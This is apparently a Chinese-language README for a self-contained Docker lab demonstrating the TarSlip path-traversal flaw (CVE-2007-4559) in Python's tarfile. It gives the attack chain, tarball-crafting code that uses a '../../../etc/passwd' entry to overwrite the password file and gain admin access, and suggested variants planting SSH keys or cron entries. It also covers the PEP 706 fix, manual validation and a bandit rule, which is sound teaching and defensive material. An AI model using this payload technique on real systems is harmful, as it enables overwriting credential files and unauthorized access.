## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JITHINODATTU-CVE-2007-4559-LAB
# CVE-2007-4559 — TarSlip:长达 15 年的目录遍历
> **仅用于教育目的。** 本实验室在隔离的 Docker 容器内故意利用文件系统漏洞。请勿在任何包含敏感数据的系统或生产环境中运行。
一个自包含的 Docker 实验室,通过一个具体的端到端攻击链演示 **CVE-2007-4559** —— Python `tarfile` 模块中臭名昭著的“TarSlip”漏洞:
1. 攻击者将一个精心构造的 tarball 上传到文件上传 API。
2. `extractall()` 盲目地将名为 `../../../etc/passwd` 的 tar 条目写入提取目录之外,覆盖真实的系统文件。
3. 植入的密码使得攻击者能够访问受保护的 `/admin` 端点。
4. 接着对修复后的 API 执行相同的攻击 —— 并被一行代码阻止。
* * *
## 漏洞详情
Python 的 `tarfile.extractall()` 会忠实地重现 tar 归档中的每个条目,包括名称包含 `../` 路径遍历序列的条目。它**从未被设计为安全边界** 。
root@kitploit:~
tar 条目名称 : ../../../etc/passwd
提取目录 : /shared/uploads/a1b2c3d4/
解析后的路径 : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← 系统文件被覆盖
* * *
## 演示内容
演示分为三个环节,每个环节需要按键才能继续。
### 环节 1 —— 基线
* `GET /admin` → **401** 。管理员端点存在且受到保护。攻击者不知道密码。
* 上传 `innocent.tar.gz` → 文件被放入沙盒目录中。一切看起来正常。
### 环节 2 —— 漏洞利用
root@kitploit:~
攻击者构造 tarslip_passwd.tar.gz
└─ 条目: "../../../etc/passwd"
内容: admin:hacked:1001:... ← 植入的密码
│
▼
POST /upload (多部分文件上传)
│
▼
extractall("/shared/uploads/{uuid}/")
解析 "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — “欢迎,管理员!您拥有完全管理权限。”
标志: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
一次 HTTP POST。无需 Shell。无需 RCE 载荷。只是一个 tar 文件。
### 环节 3 —— 修复
相同的 tarball 被上传到修复后的 API,后者向 `extractall()` 传递了 `filter='data'`。Python 抛出 `tarfile.OutsideDestinationError` —— 路径遍历被阻止,`/etc/passwd` 未被触及,`/admin` 保持锁定。
root@kitploit:~
# 存在漏洞 —— Python 3.14 之前的默认行为
tar.extractall(extraction_dir)
# 已修复 —— PEP 706(Python 3.12+)
tar.extractall(extraction_dir, filter='data')
一个参数。十五年才交付。
* * *
## 架构
在隔离的 Docker 桥接网络(`tarslip-net`)上运行四个服务。没有服务能够访问互联网。
root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ 端口 8000 │ │ 端口 8080 (宿主机) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ 通过 HTTP 提供/shared │ │
│ │ GET /admin │ │ 目录 —— 可视化浏览提取物 │ │
│ │ GET /health │ │ │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ 共享存储卷 │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (无宿主机端口 —— 仅内部) │
│ │ │ │
│ │ craft_malicious.py — 生成 tarball │
│ │ demo.py — 驱动演示 │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
存在漏洞和已修复的 API 使用**完全相同的源代码** 。唯一区别是修复后的容器上设置了 `USE_SAFE_EXTRACTION=true` 环境变量,它切换了唯一的 `filter='data'` 参数。
* * *
## 仓库布局
root@kitploit:~
CVE-2007-4559-lab/
├── run_demo.sh ← 从这里开始
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask API: /upload + /admin + /health
│ ├── Dockerfile # 将 admin:s3cr3t_Adm1nPass 注入 /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # 生成 innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # 四种模式的 CLI 驱动 (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
* * *
## 前提条件
* **Docker** 20.10+ 并安装 Compose 插件(`docker compose version`)
* **macOS / Linux** —— 脚本使用 `bash`
* 宿主机上端口 **8000** 和 **8080** 空闲
* * *
## 运行演示
root@kitploit:~
git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
脚本是全交互式的。它在每个步骤之前输出说明,并等待按 **Enter** 继续。无需 Docker 知识即可跟进。
### 每个暂停点的内容
### 单独运行各环节
如果你想手动逐步操作:
root@kitploit:~
# 存在漏洞的栈
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# 修复后的栈
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# 清理
docker compose -f docker-compose.fixed.yml down
### 可视化检查
当存在漏洞的栈运行时,在浏览器中打开 http://localhost:8080/uploads/ 浏览提取的会话目录。
* * *
## `/admin` 端点的工作原理
API 在镜像构建时将一个秘密管理员密码注入到 `/etc/passwd` 中:
root@kitploit:~
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
`GET /admin` 读取此文件并检查第二个字段(密码)是否与 HTTP 基本认证凭据匹配。攻击者不知道 `s3cr3t_Adm1nPass` —— 但在 TarSlip 用他们自己的版本(包含 `admin:hacked`)覆盖文件后,他们就知道了。
这是现实世界中攻击目标的简化模型:SSH `authorized_keys`、应用程序配置文件、cron 作业,以及 web 进程可写入的任何凭据文件。
* * *
## 载荷如何构造
`craft_malicious.py` 使用 Python 自身的 `tarfile` 模块 —— 也就是存在漏洞的同一个模块:
root@kitploit:~
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name 是遍历路径
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# 条目名称在提取到 /shared/uploads/{uuid}/ 时将解析为 /etc/passwd
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
无需特殊工具。无需二进制利用。标准库既是武器也是受害者。
* * *
## 修复说明
Python 3.12 在 PEP 706 中引入了 `filter=` 参数。`'data'` 过滤器:
* 拒绝解析到目标目录之外的条目
* 剥离 setuid/setgid 位
* 忽略设备文件和对不安全路径的硬链接
* 在遍历尝试时抛出 `tarfile.OutsideDestinationError`
root@kitploit:~
# 之前(存在漏洞 —— 在 Python 3.14 之前仍是默认行为)
with tarfile.open(path) as tar:
tar.extractall(dest)
# 之后(安全)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
对于 Python 3.11 及更早版本,手动验证:
root@kitploit:~
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"不安全路径: {member.name}")
tar.extractall(dest)
静态分析:`bandit` 规则 **B202** 会在 CI 中标记不安全的 `extractall()` 调用。
* * *
## 更广泛的影响 —— ZipSlip
TarSlip 是 Python 对一类漏洞的称呼,这类漏洞存在于具有归档提取 API 的每种语言中:
所有语言中的根本原因相同:信任来自不受信任归档的路径。修复方法也相同:在写入之前进行规范化和验证。
* * *
## 面向不同受众的变体
### 面向开发者
重点关注修复前后的代码差异以及 `bandit` B202 规则。目标是“如何在我们的代码库中防止这种情况?” —— 展示 PEP 706 迁移指南以及如何将检查添加到 CI。
### 面向安全研究人员
重点关注 Trellix 的披露方法论 —— 他们如何大规模搜索 GitHub、估计跨越 350,000 个仓库的影响范围,以及为如此广泛的漏洞导航负责任披露。
### 面向 CTF 选手
扩展 `craft_malicious.py`,使其植入 SSH `authorized_keys` 文件或恶意 cron 条目,而不是 `/etc/passwd`。相同的技术,不同的目标 —— 表明任何可写路径都是攻击面。
* * *
## 参考
* NVD — CVE-2007-4559
* PEP 706 — Filter for tarfile.extractall
* Trellix — "15 Years Later: On the Dangers of Zip/Tar Slip"
* Python 问题追踪器 — bpo-21109 (2007 年的原始报告)
* Bandit B202
* Snyk ZipSlip 建议
* * *
## 许可证
MIT — 可自由用于教育、安全研究和会议演示。请勿针对不属于您的系统使用载荷生成技术。